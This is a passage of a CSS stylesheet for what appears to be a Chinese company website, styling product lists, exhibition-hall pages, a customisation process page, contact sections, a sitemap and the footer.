.zhanting-inner span img {
margin-right: 5px
}
.slideTxt-Box .hd li {
width: 162px;
height: 57px;
cursor: pointer;
float: left;
margin-right: 12px;
background: #f5f5f5;
line-height: 57px;
text-align: center;
font-size: 16px
}
.slideTxt-Box .hd li.on {
background: #333;
color: #fff
}
.slideTxt-Box .hd li.on a {
color: #fff
}
.slideTxt-Box .index-newslist {
padding: 34px 0 10px 55px;
background: #f5f5f5
}
.slideTxt-Box .bd li {
width: 263px;
height: 60px;
float: left;
margin: 0 74px 26px 0
}
.slideTxt-Box .bd .title a {
font-size: 14px;
color: #333
}
.index-question {
width: 414px;
background: #f5f5f5
}
.index-question h2 {
height: 62px;
background: #333;
line-height: 62px;
padding: 0;
margin-bottom: 20px;
font-size: 20px
}
.index-question h2 a {
color: #fff
}
.index-question ul {
margin: 0 25px!important
}
.index-question ul li {
padding: 17px 0;
border-bottom: 1px dotted #ccc
}
.index-question .tempWrap {
height: 360px!important
}
.index-question li .title {
margin-bottom: 10px;
height: 24px;
overflow: hidden
}
.index-question li .title a {
font-size: 14px;
color: #333
}
.friend-link {
clear: both;
width: 1228px;
margin: 65px auto 140px auto
}
.friend-link p {
font-size: 18px;
color: #333;
padding-bottom: 15px;
border-bottom: 1px solid #999;
margin-bottom: 15px
}
.friend-link a {
padding: 0 10px;
display: inline-block;
border-right: 1px solid #666;
line-height: 15px
}
.friend-link a:last-child {
border-right: 0
}
.mainbaoxie {
width: 1228px;
margin: 56px auto 0;
height: 40px;
line-height: 40px
}
.mainbaoxie-list {
margin-top: 124px
}
.news-banner {
margin-top: 125px
}
.mainbaoxie-news {
margin-top: 0
}
.product-list li {
width: 264px;
margin: 0 55px 25px 0;
float: left
}
.product-list li .img {
width: 264px;
height: 158px;
overflow: hidden;
display: block
}
.product-list li span {
font-size: 12px;
color: #333;
text-align: center;
display: block;
margin: 15px 0
}
.product-list li:nth-child(4n) {
margin-right: 0
}
.product-list li img {
width: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.product-list li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.product-center-banner {
width: 100%
}
.product-detail-top {
margin: 20px auto 70px auto
}
.product-detail-top .text {
width: 490px
}
.product-detail-top .title {
font-size: 22px;
color: #333;
margin: 20px 0;
line-height: 30px
}
.product-detail-top .de {
padding: 17px;
background: #f6f6f6;
margin-bottom: 20px
}
.product-detail-top .shuxing {
color: #666;
font-size: 16px;
margin-bottom: 10px;
padding-left: 5px
}
.product-detail-top .xunjia {
width: 160px;
height: 55px;
background: rgba(51,51,51,1);
font-size: 20px;
color: #fff;
line-height: 55px;
margin-top: 95px;
text-align: center;
display: block;
transition: all .3s ease-out
}
.product-detail-top .xunjia:hover {
background: rgba(51,51,51,.9)
}
.center-title {
text-align: center;
font-size: 26px;
color: #333;
margin: 65px 0 45px 0
}
.center-title img {
margin-left: 10px
}
.chicuntu {
text-align: center;
padding-bottom: 26px
}
.chicuntu .beizhu {
text-align: right;
margin-top: 50px;
font-size: 14px
}
.w2 hr {
width: 100%;
height: 17px;
background: #f6f6f6;
border: 0
}
.product-detail-center .details {
margin: 80px 0 110px 0
}
.product-detail-center .details li {
border: 1px solid #e6e6e6;
margin-bottom: 52px;
overflow: hidden;
zoom: 1
}
.product-detail-center .word1 {
width: 325px;
float: left;
margin: 75px 0 25px 30px
}
.product-detail-center .word1 .title {
font-size: 24px;
color: #333;
margin-bottom: 10px
}
.product-detail-center .details li:nth-child(1n) img {
float: right
}
.product-detail-center .details p {
font-size: 16px;
line-height: 32px
}
.product-detail-center .word2 {
width: 612px;
float: right;
margin: 75px 40px 0 0
}
.product-detail-center .details li:nth-child(2n) img {
float: left
}
.product-detail-center .word2 .title {
font-size: 26px;
color: #333;
margin-bottom: 10px
}
.product-detail-center .word3 {
width: 325px;
float: right;
margin: 75px 30px 0 0
}
.detail-center .anli {
width: 99%;
padding: .5%
}
.detail-center .anli li {
width: 182px;
height: 167px;
margin-right: 19px;
float: left;
position: relative;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede
}
.detail-center .anli li:last-child {
margin-right: 0
}
.detail-center .anli li a {
position: absolute;
width: 100%;
height: 100%;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out;
top: 0;
left: 0;
z-index: 2;
text-align: center;
background: rgba(0,0,0,0)
}
.detail-center .anli li span {
display: none;
margin-top: 60px;
text-align: center;
color: #fff;
padding: 5px 23px;
border: 1px solid #fff;
font-size: 12px;
width: 100px;
margin: 60px 19px
}
.detail-center .anli li:hover a {
background: rgba(0,0,0,.65);
border-radius: 3px
}
.detail-center .anli li:hover span {
display: inline-block
}
.tonglei li {
width: 257px;
float: left;
margin-right: 50px;
text-align: center;
overflow: hidden
}
.tonglei span {
color: #333;
display: block;
text-align: center;
padding: 12px 0 0 0
}
.tonglei li .img {
border: 1px solid #ccc;
display: block;
width: 228px;
overflow: hidden
}
.tonglei li:last-child {
margin-right: 0
}
.tonglei li img {
width: 228px;
height: 137px;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.tonglei li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.product-detail-center .ques-list {
border-top: 1px solid #000
}
.product-detail-center .qq {
padding-left: 70px;
background: url(../images/qq.png) no-repeat center left;
color: #333
}
.product-detail-center .aa {
padding-left: 70px;
background: url(../images/aa.png) no-repeat center left
}
.product-detail-center .ques-list p {
line-height: 80px;
font-size: 16px;
text-indent: 15px
}
.product-detail-center .ques-list:last-child {
border-bottom: 1px solid #000
}
.product-detail-center .ques-list hr {
width: 94%;
height: 1px;
background: #999;
float: right
}
.product-list,.project-list {
margin-top: 45px
}
.project-list ul {
width: 99%;
padding: .5%
}
.project-list li {
width: 278px;
float: left;
margin: 0 31px 70px 0;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede;
padding-bottom: 17px
}
.project-list li:nth-child(4n) {
margin-right: 0
}
.project-list li .img {
width: 100%;
height: 224px;
display: block;
overflow: hidden
}
.project-list li img {
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.project-list li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.project-list li span {
margin: 14px 0 14px 0;
display: block;
text-align: center;
padding: 0 20px 12px;
font-size: 16px;
color: #333;
background: url(../images/line-bg01.jpg) no-repeat center bottom;
height: 25px;
line-height: 30px;
overflow: hidden
}
.project-list li p {
padding: 0 20px;
height: 66px;
overflow: hidden
}
.project-item-bottom {
padding: 28px 0 40px 0!important
}
.project-item-bottom .center-title {
margin: 25px 0 60px 0
}
.project-detail-center {
margin-top: 25px
}
.project-detail-center .time {
font-size: 18px;
color: #333;
padding: 10px 0;
border-top: 1px solid #333;
display: inline-block;
width: initial
}
.project-detail-center .project-title {
font-size: 26px;
color: #333;
line-height: 40px;
margin-bottom: 25px
}
.project-detail-center .p1 {
font-size: 16px;
line-height: 28px;
margin-bottom: 30px;
color: #666
}
.project-detail-center p {
font-size: 16px;
color: #333;
line-height: 28px;
width: 90%
}
.shiyong-product {
background: #f5f5f5;
padding: 28px 0 15px 0;
margin-top: 50px
}
.shiyong-product .title {
color: #333;
font-size: 20px;
margin-bottom: 23px
}
.project-detail-center>img {
margin: 30px 30px 30px 0
}
.news-list li {
padding: 45px 70px 40px 20px;
border-bottom: 1px solid #ececec;
overflow: hidden
}
.news-list li .img {
width: 174px;
height: 110px;
display: block;
float: left;
overflow: hidden
}
.news-list li .text {
width: 80%
}
.news-list li p a {
font-size: 18px;
color: #444;
margin-bottom: 10px;
display: block;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.news-list li .text:hover a {
padding-left: 15px
}
.news-list li p {
font-size: 14px;
line-height: 24px
}
.news-list li .time {
color: #999;
margin-top: 8px
}
.news-list li img {
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.news-list li:hover img {
-webkit-transform: scale(1.05);
-moz-transform: scale(1.05);
-o-transform: scale(1.05);
-ms-transform: scale(1.05);
transform: scale(1.05)
}
.news-content {
background: #f6f6f6;
padding-bottom: 40px
}
.news-content-inner {
padding-top: 30px;
background: #fff;
padding: 30px 60px;
width: 1108px;
margin: 0 auto
}
.news-content-inner .title {
font-size: 20px;
color: #444
}
.news-content .author {
line-height: 18px;
margin: 15px 0 10px 0
}
.news-content .author span {
margin-right: 25px
}
.news-content .time {
color: #999
}
.news-content .article {
border-top: 1px solid #ececec;
border-bottom: 1px solid #ececec;
padding: 40px 0;
text-align: center;
margin-top: 25px
}
.news-content .article a {
color: #2b59ff;
text-decoration: underline
}
.news-content .article a:hover {
text-decoration: none
}
.news-content .article,.news-content .article div,.news-content .article p {
text-align: left;
font-size: 16px;
line-height: 32px
}
.news-content-inner img {
margin: 40px 0
}
.news-content .article p {
font-size: 16px;
line-height: 32px;
text-align: left
}
.news-content .suoyin {
margin: 32px 0
}
.news-content .suoyin a {
width: 380px;
height: 43px;
line-height: 43px;
border: 1px solid #ececec;
border-radius: 25px;
display: block;
text-align: center;
font-size: 14px;
color: #999
}
.news-content .suoyin a:first-child {
float: left
}
.news-content .suoyin a:last-child {
float: right
}
.pagelist-2 {
padding: 50px 0;
text-align: center
}
.pagelist-2 li {
display: inline-block;
margin-right: 12px;
border: 1px solid #000;
padding: 5px 7px;
color: #333
}
.pagelist-2 li a,.pagelist-2 li span {
color: #333
}
.pagelist-2 li.thisclass {
background: #333;
color: #fff!important
}
.pagelist-2 li.thisclass a {
color: #fff
}
#page_index {
padding: 50px 0;
text-align: center;
clear: both
}
#page_index a {
display: inline-block;
margin-right: 12px;
border: 1px solid #000;
padding: 5px 7px;
color: #333
}
#page_index a.thislink {
background: #333;
color: #fff
}
.zhanting-list {
margin-top: 56px
}
.zhanting-list li a {
position: absolute;
top: 0;
left: 0;
z-index: 3;
width: 100%;
height: 100%;
display: block;
color: #fff
}
.zhanting-list li {
margin-bottom: 20px;
position: relative;
text-align: center
}
.zhanting-list li.last img {
width: 100%
}
.zhanting-list li p {
font-size: 26px
}
.zhanting-list li .title {
font-size: 44px;
margin-bottom: 35px;
line-height: 45px;
padding-top: 140px
}
.zhanting-list li span {
width: 193px;
height: 53px;
border: 1px solid #fff;
font-size: 26px;
display: block;
margin: 65px auto;
line-height: 52px;
border-radius: 30px;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.zhanting-list li span:hover {
background: #fff;
color: #333
}
.zhanting-list li .phone {
margin: 0 15px 0 55px
}
.zhanting-des-inner01 {
margin: 70px auto 65px auto;
border: 1px solid #e8e8e8;
-webkit-box-shadow: 0 0 15px #dedede;
-moz-box-shadow: 0 0 15px #dedede;
box-shadow: 0 0 15px #dedede
}
.zhanting-des-inner01 .right {
width: 38%;
padding: 4.5% 5% 0;
font-size: 18px;
line-height: 32px;
color: #333;
text-align: justify
}
.zhanting-des .title {
font-size: 28px;
color: #333;
background: url(../images/line-bg06.png) no-repeat center;
width: 500px;
margin: 0 auto;
text-align: center
}
.zhanting-des .p1 {
font-size: 18px;
text-align: center;
margin: 25px 0 50px 0
}
.zhangting-box01 {
margin-top: 80px
}
.zhangting-box01 .text {
width: 45.5%;
margin-top: 10px
}
.zhangting-box01 p {
font-size: 18px;
line-height: 30px;
margin-bottom: 40px
}
.zhangting-box01 .title {
font-size: 28px;
color: #333;
background: url(../images/line-bg04.jpg) no-repeat top left;
padding: 20px 0 25px 0;
margin: 0
}
.zhangting-box01 .fl {
margin-top: 60px
}
.w2 .single-img {
margin: 60px 0 40px
}
.zhanshiqu {
font-size: 28px;
color: #333;
text-align: center;
line-height: 30px;
margin: 30px 0 35px 0
}
.zhanshi-name {
font-size: 18px;
text-align: center;
margin: 20px 0 50px 0
}
.zhangting-box02 li {
width: 30%;
margin-right: 3.3%;
float: left;
text-align: center
}
.zhangting-box02 li:last-child {
margin-right: 0
}
.zhangting-box02 li p {
font-size: 18px;
text-align: center;
margin: 20px 0 50px 0
}
.zhangting-box02 li img {
width: 100%
}
.more-zhanting {
background: #3b3b3b;
padding-bottom: 30px
}
.more-zhanting .title {
font-size: 28px;
color: #fff;
padding: 35px 0 45px 0;
text-align: center
}
.more-zhanting li {
float: left;
width: 48.5%;
margin: 0 3% 20px 0;
position: relative
}
.more-zhanting li:nth-child(2n) {
margin-right: 0
}
.more-zhanting li img {
width: 100%
}
.more-zhanting li a {
position: absolute;
font-size: 18px;
line-height: 275px;
width: 100%;
height: 100%;
display: block;
top: 0;
left: 0;
background: rgba(0,0,0,.45);
z-index: 5;
text-align: center;
color: #fff;
transition: all .4s ease-out;
-webkit-transition: all .4s ease-out;
-moz-transition: all .4s ease-out;
-o-transition: all .4s ease-out
}
.more-zhanting li:hover a {
background: rgba(0,0,0,.25);
font-size: 22px
}
.czzt-content {
margin-top: 55px;
position: relative
}
.czzt-content .zt-title {
font-size: 28px;
color: #333;
margin-bottom: 20px
}
.czzt-content p {
font-size: 16px;
line-height: 30px
}
.czzt-content .zhangting-box01 {
margin-bottom: 70px
}
.czzt-content .zhangting-box01 p {
margin-bottom: 21px
}
.czzt-content .zhudian {
position: absolute;
width: 25%;
right: 10%;
bottom: 45%
}
.hzzt-content {
position: relative
}
.hzzt-content .zt-title {
font-size: 28px;
color: #333;
margin-bottom: 20px
}
.hzzt-content p {
font-size: 16px;
line-height: 30px
}
.hzzt-content .zhudian1 {
position: absolute;
top: 25%;
width: 29%;
right: 6%
}
.hzzt-content .zhudian2 {
width: 21.5%;
background: rgba(255,255,255,.72);
position: absolute;
top: 22%;
left: 18%;
padding: 1.5%
}
.qdzt-content {
position: relative
}
.qdzt-content .zt-title {
font-size: 28px;
color: #333;
margin-bottom: 20px
}
.qdzt-content p {
font-size: 16px;
line-height: 30px
}
.qdzt-content .zhangting-box01 p {
margin-bottom: 21px
}
.qdzt-content .zhudian {
position: absolute;
width: 25%;
right: 10%;
bottom: 45%
}
.about-content {
margin-top: 13px;
text-align: center
}
.about-content p {
font-size: 16px;
line-height: 26px;
width: 98%;
margin: 0 auto;
text-align: left
}
.about-content .title {
margin: 50px 0 25px;
line-height: 24px;
font-size: 24px;
color: #333;
text-align: center
}
.about-content .left,.about-content .right {
width: 48%
}
.about-content img {
margin-top: 70px
}
.about-content hr {
margin: 50px 0 30px 0;
clear: both
}
.about-content2 .career {
width: 780px;
margin: 40px auto 0;
background: url(../images/career-bg.png) no-repeat center;
background-size: 85% auto
}
.about-content2 .career .left,.about-content2 .career .right {
width: auto
}
.about-content2 .career p {
text-align: center;
overflow: hidden;
zoom: 1;
font-size: 13px
}
.about-content2 .career p span {
padding: 5px 15px;
display: inline-block;
color: #3b200c;
border: 1px solid #333;
background: #fff
}
.about-content2 .career p a {
color: #3b200c;
margin-left: 10px;
text-decoration: underline
}
.about-content2 .career p a:hover {
text-decoration: none
}
.about-content2 .career .p1 {
width: 72%;
margin: auto
}
.about-content2 .career .p2 {
margin-top: 60px
}
.about-content2 .career .p3 {
width: 90%;
margin: 30px auto
}
.about-content2 .career .pc span {
background: #333;
color: #fff
}
.about-content2 .career .pc a {
color: #fff
}
.about-content2 img {
margin: 30px auto 50px
}
.neiye-banner>img {
width: 100%
}
.dingzhi-liucheng {
text-align: center;
padding-top: 50px
}
.dingzhi-tit-bg {
display: inline-block;
border: 1px solid #f8b551;
padding: 20px 60px
}
.dingzhi-box-bg {
padding: 70px 0 10px;
margin-bottom: 62px
}
.dingzhi-liucheng .time01 {
font-size: 40px;
line-height: 50px;
color: #000;
padding: 0 15px 0;
display: inline-block;
letter-spacing: 4px
}
.dingzhi-liucheng .time01 span {
color: #fde003
}
.dingzhi-liucheng .p1 {
font-size: 20px;
color: #000;
padding: 23px 0 0 0
}
.dingzhi-liucheng .time02 {
background: url(../images/20171121x-03.png) no-repeat center 0;
overflow: hidden;
zoom: 1;
text-align: center;
width: 1228px;
margin: 70px auto auto
}
.dingzhi-liucheng .time02 li {
float: left
}
.dingzhi-liucheng .time02 p {
color: #000
}
.dingzhi-liucheng .time02 .sp01 {
font-size: 20px
}
.dingzhi-liucheng .time02 .sp02 {
font-size: 18px;
display: none
}
.dingzhi-liucheng .time02 span {
font-size: 48px;
line-height: 40px;
padding: 63px 0 16px;
display: inline-block;
font-weight: 700
}
.dingzhi-liucheng .time02 .sp03 {
font-size: 18px;
margin-top: 60px;
line-height: 30px
}
.dingzhi-liucheng .time02 li:nth-of-type(1) {
width: 220px;
margin: 0 45px 0 40px
}
.dingzhi-liucheng .time02 li:nth-of-type(2) {
width: 305px
}
.dingzhi-liucheng .time02 li:nth-of-type(3) {
width: 275px;
margin: 0 90px 0 20px
}
.dingzhi-liucheng .time02 li:nth-of-type(4) {
width: 180px
}
.dingzhi-liucheng .single-img-01 {
margin-top: 45px
}
.dingzhi-liucheng .time03 {
width: 1228px;
margin: 80px auto 20px auto;
overflow: hidden;
zoom: 1
}
.dingzhi-liucheng .time03 li {
position: relative;
width: 385px;
float: left;
margin: 0 0 40px 148px;
padding: 10px 0 10px 80px;
text-align: left
}
.dingzhi-liucheng .time03 li:last-child span {
left: 20px
}
.dingzhi-liucheng .time03 p {
font-size: 16px;
color: #000
}
.dingzhi-liucheng .time03 .t1 {
font-size: 20px;
margin-bottom: 7px
}
.dingzhi-liucheng .time03 span {
color: #000;
position: absolute;
left: 26px;
top: 25px;
font-size: 30px;
font-weight: 700
}
.dingzhi-liucheng .time04 {
width: 1228px;
margin: 85px auto 80px;
overflow: hidden;
zoom: 1;
padding-top: 68px
}
.dingzhi-liucheng .time04 li {
float: left;
border: 8px solid #da9e61;
border-radius: 10px;
margin: 0 33px;
color: #000;
position: relative
}
.dingzhi-liucheng .time04 li img {
padding: 40px 15px;
float: left
}
.dingzhi-liucheng .time04 li .sp {
color: #fff;
position: absolute;
background: url(../images/20171121x-09.png) no-repeat center top;
top: -75px;
padding: 0 30px 18px;
font-size: 15px;
line-height: 42px;
height: 42px
}
.dingzhi-liucheng .time04 .sp1 {
font-size: 20px;
width: 120px;
display: inline-block;
text-align: left;
line-height: 30px
}
.dingzhi-liucheng .time04 .sp2 {
border: 1px solid #f0d403;
padding: 2px 8px;
display: inline-block;
margin-top: 8px
}
.dingzhi-liucheng .time04 .y {
float: left;
width: 150px;
margin-top: 35px;
text-align: center;
padding-right: 10px
}
.dingzhi-liucheng .songzhuang-img {
display: block;
margin: 60px auto
}
.dingzhi-liucheng .qingjing-t {
font-size: 24px;
color: #1d9ce3;
background: url(../images/20171121x-11.png) no-repeat center;
padding: 18px 0;
margin: 60px 0 35px
}
.dingzhi-liucheng .qingjing-p1 {
font-size: 18px;
color: #000
}
.dingzhi-liucheng .qingjing-p2 {
font-size: 16px;
color: #000;
text-align: left;
width: 416px;
margin: 30px auto 0;
line-height: 28px
}
.dingzhi-liucheng .qingjing-img {
margin: 40px auto 20px
}
.history-list {
margin-top: 60px
}
.history-list li {
min-height: 180px
}
.history-list .item01 .fr {
margin-right: 190px
}
.history-list .item02 .right {
margin-right: 45px;
margin-top: 25px
}
.history-list .item02 .fl {
margin-left: 310px;
margin-top: 25px
}
.history-list .item03 .left {
margin-left: 40px;
margin-top: 55px
}
.history-list .item03 .fr {
margin-right: 140px;
margin-top: 55px
}
.history-list .item04 .right {
margin-top: 90px
}
.history-list .item04 .fl {
margin-left: 335px;
margin-top: 90px
}
.history-list li p {
font-size: 16px;
line-height: 24px;
color: #ccc
}
.history-list li .tit {
font-size: 16px;
line-height: 24px;
color: #fff;
margin-bottom: 5px
}
.sysj-content {
margin-top: 40px;
position: relative
}
.sysj-content .box2 {
margin: 60px auto;
position: relative
}
.sysj-content .box2 p {
position: absolute;
bottom: 17px;
padding-left: 2%;
color: #fff
}
.sysj-content p {
font-size: 16px;
line-height: 28px
}
.sysj-content .box2 p {
margin-top: 20px;
width: 85%
}
.sysj-content .box1 {
position: absolute;
right: 19%;
width: 24%;
top: 6.5%
}
.sysj-content .box1 p {
padding-left: 30px;
text-align: justify;
line-height: 28px
}
.sysj-content .box1 .title,.sysj-content .box3 .title {
font-size: 32px;
color: #333;
margin-bottom: 40px;
padding: 0;
text-align: left
}
.sysj-content .box3 {
position: absolute;
bottom: 9%;
color: #fff;
width: 20%;
right: 18%
}
.sysj-content .box3 p {
color: #ccc;
text-align: justify;
line-height: 28px;
padding-left: 10px
}
.sysj-content .box3 .title {
color: #fff;
padding: 0
}
.ryzz-content,.sccj-content {
text-align: center;
margin-bottom: 100px
}
.sccj-content {
width: 1228px;
margin: 0 auto
}
.sccj-content {
margin-bottom: 100px
}
.sccj-content .title {
font-size: 22px;
line-height: 28px;
color: #333;
margin: 50px auto 20px;
text-align: center
}
.sccj-content p {
font-size: 14px;
line-height: 28px;
width: 85%;
margin: auto
}
.sccj-content img {
margin: 30px 0 10px 0
}
.ryzz-content .title {
font-size: 26px;
color: #333;
text-align: center;
line-height: 30px;
margin: 45px 0 55px;
background: url(../images/line-bg04.png) no-repeat center
}
.ryzz-content li {
float: left;
margin: 0 28px 15px 0;
text-align: center
}
.ryzz-content li p {
margin: 15px 0;
font-size: 16px
}
.ryzz-content li:nth-child(4n) {
margin-right: 0
}
.hxkh-content {
margin: 50px auto 100px
}
.neiye-banner2 {
text-align: center
}
.lxwm-content {
margin-bottom: 90px
}
.about-img {
margin-top: 35px;
width: 100%
}
.lxwm-content .title {
font-size: 22px;
color: #000;
text-align: center;
line-height: 30px;
margin: 50px 0 18px;
background: url(../images/line-bg04.png) no-repeat center
}
.lxwm-content .p1 {
font-size: 14px;
color: #666;
text-align: center
}
.lxwm-content .ul1 {
margin-top: 50px
}
.lxwm-content .ul1 li {
float: left;
padding: 1.8%;
background: #f6f6f6;
width: 44.7%;
margin-right: 3%
}
.lxwm-content .ul1 li:first-child,.lxwm-content .ul1 li:last-child {
margin-right: 0
}
.lxwm-content .ul1 li:first-child {
text-align: center;
margin-bottom: 50px;
width: 94%;
padding: 3%
}
.lxwm-content .ul1 p {
background: #f6f6f6;
font-size: 12px;
line-height: 18px;
padding: 15px 0 0 0;
text-align: justify
}
.lxwm-content .ul1 span {
display: block;
color: #333;
font-size: 16px;
margin-bottom: 7px
}
.lxwm-content .ul1 .first {
margin: 0 0 70px 0
}
.lxwm-content .ul1 li .wenzi {
width: 56.5%
}
.lxwm-content .ul1 li:first-child .wenzi {
width: 58%;
margin-top: 20px;
padding: 0 0 0 3%;
text-align: left
}
.lxwm-content .ul1 li img {
width: 225px
}
.lxwm-content .ul1 li:first-child img {
width: auto
}
.lxwm-content .ul1 li .title {
font-size: 18px;
color: #000;
text-align: left;
margin: 13px 0 12px;
padding: 0 0 20px;
padding: 0
}
.lxwm-content .ul1 li:first-child .title {
margin: 20px 0 12px
}
.lxwm-content .ul1 li .p3 {
padding: 0;
font-size: 13px;
line-height: 25px;
color: #888
}
.lxwm-content .ul1 li:first-child .p3 {
padding: 0;
margin-bottom: 10px;
font-size: 14px;
line-height: 25px;
color: #888
}
.lxwm-content .ul1 li .p2 {
font-size: 13px;
color: #666;
line-height: 22px
}
.lxwm-content .wenzi span {
display: inline-block;
color: #666;
font-size: 14px;
line-height: 26px;
margin-left: 8px
}
.lxwm-content .wenzi span img {
margin-right: 5px
}
.lxwm-content .ul2 {
margin-top: 40px
}
.lxwm-content .ul2 li {
float: left;
background: #f3f8fb;
padding: 1.8%;
margin-right: 3.3%
}
.lxwm-content .ul2 li:last-child {
margin-right: 0
}
.lxwm-content .ul2 .li1 {
width: 45.3%;
margin-bottom: 30px
}
.lxwm-content .ul2 .li2 {
width: 27.5%
}
.lxwm-content .ul2 p {
font-size: 12px;
color: #666;
line-height: 18px
}
.lxwm-content .ul2 .tit {
font-size: 14px;
color: #333;
margin-bottom: 6px;
margin-top: 15px
}
.lxwm-content .ul3 {
margin-top: 35px;
background: #f3f8fb;
padding: 20px
}
.lxwm-content .ul3 li {
float: left;
margin-right: 27px;
text-align: center
}
.lxwm-content .ul3 li:nth-of-type(5) {
margin-right: 0
}
.lxwm-content .ul3 li p {
font-size: 14px;
margin: 10px auto;
color: #333
}
.lxwm-content .ul3 li:last-child {
display: block;
float: none;
clear: both;
text-align: center
}
.lxwm-content .ul3 li:last-child p {
display: inline-block;
background: #fff;
padding: 6px 10px;
margin: 10px auto 0
}
.lxwm-content .ul3 li span {
margin-left: 30px
}
.fwbz-content {
text-align: center
}
.fwbz-content .title {
font-size: 24px;
color: #333;
text-align: center;
line-height: 30px;
margin: 45px 0 55px;
background: url(../images/line-bg05.png) no-repeat center
}
.fwbz-content .step {
text-align: center;
font-size: 20px;
color: #333;
height: 40px;
line-height: 40px;
background: #f4f4f4
}
.fwbz-content .fw {
margin: 45px 0 75px 0;
display: inline-block
}
.fwbz-content .fw li {
display: table;
float: left;
line-height: 62px
}
.fwbz-content .fw p {
display: table-cell;
vertical-align: middle;
width: 142px;
height: 62px;
text-align: center;
font-size: 16px;
border: 1px solid #000;
border-radius: 7px;
line-height: 24px
}
.fwbz-content .fw img {
padding: 22px 15px
}
.fwbz2-content {
background: #5a5a5a;
text-align: center;
padding: 70px 0 100px
}
.fwbz2-content p {
font-size: 16px;
color: #fff;
line-height: 28px
}
.fwbz2-content .title2 {
font-size: 24px;
color: #fff;
line-height: 30px;
margin: 45px 0 55px;
background: url(../images/line-bg05.png) no-repeat center
}
.fwbz2-content .tit {
font-size: 20px;
color: #fff;
height: 40px;
background: #999;
line-height: 40px;
margin: 45px 0 20px 0
}
.syhz-content {
margin: 60px auto
}
.syhz-content p {
font-size: 14px;
line-height: 24px;
text-align: justify
}
.syhz-content .left {
width: 30%;
margin-left: 25px
}
.syhz-content .left .p1 {
font-size: 20px;
color: #333;
line-height: 48px
}
.zyfz-content .title {
width: 62%;
font-size: 24px;
color: #333;
line-height: 30px;
margin: 45px auto 55px;
text-align: center;
background: url(../images/line-bg01.jpg) repeat-x center
}
.zyfz-content .title span {
display: inline-block;
padding: 0 20px;
background: #fff
}
.zyfz-content .text {
width: 40%;
margin: 0 8%
}
.zyfz-content .text p {
overflow: hidden;
zoom: 1;
padding-left: 10px
}
.zyfz-content .text .sp1 {
float: left
}
.zyfz-content .text .sp2 {
display: inline-block;
float: left;
width: 80%
}
.zyfz-content .text .p {
width: 100%;
height: 38px;
background: #f4f4f4;
line-height: 38px;
padding-left: 10px;
font-size: 16px;
color: #333
}
.zyfz-content .box {
margin-bottom: 60px
}
.zyfz-content .box img {
margin: 0 4%
}
.zyfz-content .box .onlyone {
margin: 0 0 0 4%
}
.zyfz-content .text .pp {
line-height: 24px;
font-size: 14px;
color: #333;
margin: 15px 0 3px;
padding: 0
}
.sitemap .title {
width: 62%;
font-size: 24px;
color: #333;
line-height: 30px;
margin: 45px auto 55px;
text-align: center;
background: url(../images/line-bg01.jpg) repeat-x center
}
.sitemap .title span {
display: inline-block;
padding: 0 20px;
background: #fff
}
.sitemap dt {
font-size: 14px;
color: #333;
font-weight: 700;
padding-left: 55px;
line-height: 54px;
background: url(../images/sitemap-bg.png) no-repeat 30px center
}
.sitemap dt a {
color: #333
}
.sitemap dt.alone {
clear: both
}
.sitemap dd>a {
display: inline-block;
font-size: 14px;
padding-left: 24px
}
.sitemap .spedt {
float: left;
clear: left
}
.sitemap .spedd {
float: left;
line-height: 54px
}
.sitemap dt.spe {
background: #f2f2f2 url(../images/sitemap-bg.png) no-repeat 30px center
}
.sitemap dd.spe {
background: #f2f2f2;
padding: 0 55px 20px
}
.sitemap .sitemap-list {
width: 110px;
float: left
}
.sitemap .sitemap-list a {
display: block;
font-size: 14px;
line-height: 24px
}
.sitemap .sitemap-list .title1 {
font-size: 14px;
margin-bottom: 10px;
color: #333
}
.footer {
width: 100%;
height: 530px;
background: #1b1b1b
}
.footer p {
color: #fff
}
.footer .p1 {
color: #999;
font-size: 14px;
text-align: center;
margin-bottom: 8px;
letter-spacing: 2px
}
.foot-left {
width: 144px;
border-right: 1px solid #999;
padding: 0 50px
}
.foot-left p {
font-size: 14px
}
.foot-center {
width: 602px;
border-right: 1px solid #999
}
.foot-center a {
font-size: 14px;
color: #fff;
line-height: 32px
}
.foot-right {
width: 287px;
text-align: justify;
padding: 0 40px
}
.foot-right p {
font-size: 13px;
line-height: 28px
}
.footer .w2 {
padding: 60px 0 50px 0;
border-bottom: 1px solid #999;
margin-bottom: 40px
}
.footer .title {
font-size: 14px;
color: #ccc;
text-align: center;
width: 80px;
margin: 0 auto 18px auto;
padding-bottom: 9px;
border-bottom: 1px solid #999;
line-height: 22px
}
.foot-left .title {
border-bottom: 0
}
.foot-center dl {
float: left;
padding: 0 59px;
text-align: center
}
.foot-center dl:first-child {
text-align: left
}
.foot-left .number {
font-size: 20px;
text-align: center
}
.foot-left .kefu {
width: 95px;
height: 36px;
background: #fff;
display: block;
text-align: center;
line-height: 36px;
color: #333;
font-size: 14px;
border-radius: 20px;
margin: 25px auto
}
.foot-left .zht {
display: block;
margin-bottom: 14px;
font-size: 14px;
